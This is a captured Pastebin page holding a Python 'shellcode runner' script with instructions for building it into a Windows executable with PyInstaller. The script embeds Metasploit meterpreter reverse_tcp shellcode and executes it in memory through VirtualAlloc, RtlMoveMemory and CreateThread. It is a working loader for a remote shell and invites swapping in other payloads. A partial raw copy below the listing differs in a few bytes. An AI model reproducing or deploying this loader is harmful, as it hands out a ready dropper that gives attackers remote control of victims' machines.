

PASTE BIN (/)



PyInstaller Win32 shellcode runner

A GUEST FEB 19TH, 2012 2,277 NEVER

API (/DOC_API)

TOOLS (/TOOLS)

FAQ (/FAQ)

paste (/)

SHARE

TWEET

LOGIN (/LOGIN)

Public Pastes (/archive)

CustomIconButton (/Apt7AhuG)

Java | 6 min ago

Lab TI 2 (/Jxa8JPTA)

Java 5 | 18 min ago

Coins (/E5yFPGuc)

Java | 29 min ago

namegen.py (/TMNa9Ys2)

Python | 33 min ago

server (/PyVb8vSk)

YAML | 56 min ago

07. Cinema Tickets (/fkXWwyn6)

Java | 58 min ago

CC fetcher (/54quJLD4)

Lua | 60 min ago

Balanced Parantes... (/XB4XyADc)

C++ | 1 hour ago

Not a member of Pastebin yet? [Sign Up](#) (/signup), it unlocks many cool features!

Python (/archive/python)

raw (/raw/rrhcGeHh)

download (/dl/rrhcGeHh)

clone (/clone/rrhcGeHh)

2.99 KB

embed (/embed/rrhcGeHh)

print (/print/rrhcGeHh)

report (/report/rrhcGeHh)

1. `#!/usr/bin/python`

2.

3. `#####`

4. `# PyInstaller Win32 shellcode runner - by @mihi42`

5. `#`

6. `# Needed software:`

7. `# * Python 2.7.2 from`

8. `# <http://www.python.org/download/releases/>`

9. `# * PyWin32 build 217 for Python 2.7 from`

10. `# <http://sourceforge.net/projects/pywin32/files/pywin32/>`

11. `# * PyInstaller 1.5.1 from <http://www.pyinstaller.org/>`

12. `#`

13. `# Usage:`

14. `# * Install and configure the software above`

15. `# * Replace the shellcode below if desired (use output type`

16. `# for C and change the first and last line)`

17. `# * Run PyInstaller to build an EXE file, using the switches`

18. `# -w -a -F (and maybe more if you prefer)`

19. `#####`

20. `# windows/meterpreter/reverse_tcp - 290 bytes (stage 1)`

21. `# http://www.metasploit.com`

22. `# VERBOSE=false, LHOST=127.0.0.1, LPORT=4444,`

23. `# ReverseConnectRetries=5, EXITFUNC=process,`

24. `# AutoLoadStdapi=true, InitialAutoRunScript=, AutoRunScript=,`

25. `# AutoSystemInfo=true, EnableUnicodeEncoding=true`

26. `#`

27. `shellcode = bytearray(`

28. `"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"`

29. `"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\xf0\xb7\x4a\x26\x31\xff"`

30. `"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"`

31. `"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"`

32. `"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"`

33. `"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x01\xcf\x0d"`

34. `"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"`

35. `"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"`

36. `"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"`

37. `"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"`

38. `"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"`

39. `"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"`

40. `"\x50\x50\x40\x50\x40\x50\x68\xe0\x0f\xdf\xe0\xff\xd5\x97\x6a"`

41. `"\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10"`

https://pastebin.com/rrhcGeHh

1/3

```
42.  "\x56\x57\x68\x99\xa5\x74\x01\xff\xd5\x85\x04\x0c\xff\x4e" FAQ
43.  "\x08\x75\xec\x68\xf0\xb5\x02\x5a\xff\xd5\x6a\x00\x6a\x04\x56" (/FAQ)
44.  "\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10" (/)
45.  "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
46.  "\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
47.  "\x85\xf6\x75\xec\xc3"
48.  )
49.  #####
50.
51.  import ctypes
52.
53.  ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
54.      ctypes.c_int(len(shellcode)),
55.      ctypes.c_int(0x3000),
56.      ctypes.c_int(0x40))
57.
58.  ctypes.windll.kernel32.VirtualLock(ctypes.c_int(ptr),
59.      ctypes.c_int(len(shellcode)))
60.
61.  buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
62.
63.  ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
64.      buf,
65.      ctypes.c_int(len(shellcode)))
66.
67.  ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
68.      ctypes.c_int(0),
69.      ctypes.c_int(ptr),
70.      ctypes.c_int(0),
71.      ctypes.c_int(0),
72.      ctypes.pointer(ctypes.c_int(0)))
73.
74.  ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
75.      ctypes.c_int(-1))
```

paste

- LOGIN
- (/LOGIN)
- SIGN UP
- (/SIGNUP)

RAW Paste Data

```
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3"
)
#####

import ctypes

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40))
```

PASTEBIN

(/)

API

(/DOC_API)

TOOLS

(/TOOLS)

FAQ

(/FAQ)

paste

(/)

LOGIN

(/LOGIN)

create new paste (/) / syntax languages (/languages) / archive (/archive) / faq (/faq) / tools (/tools) / night mode (/night_mode) / api (/doc_api) / scraping api (/doc_scraping_api) / news (/news) / pro (/pro) / privacy statement (/doc_privacy_statement) / cookies policy (/doc_cookies_policy) / terms of service (/doc_terms_of_service)^{updated} / security disclosure (/doc_security_disclosure) / dmca (/dmca) / report abuse (/report-abuse) / contact (/contact)

(https://facebook.com/pastebin)

By using Pastebin.com you agree to our cookies policy (/doc_cookies_policy) to enhance your experience.
Site design & logo © 2021 Pastebin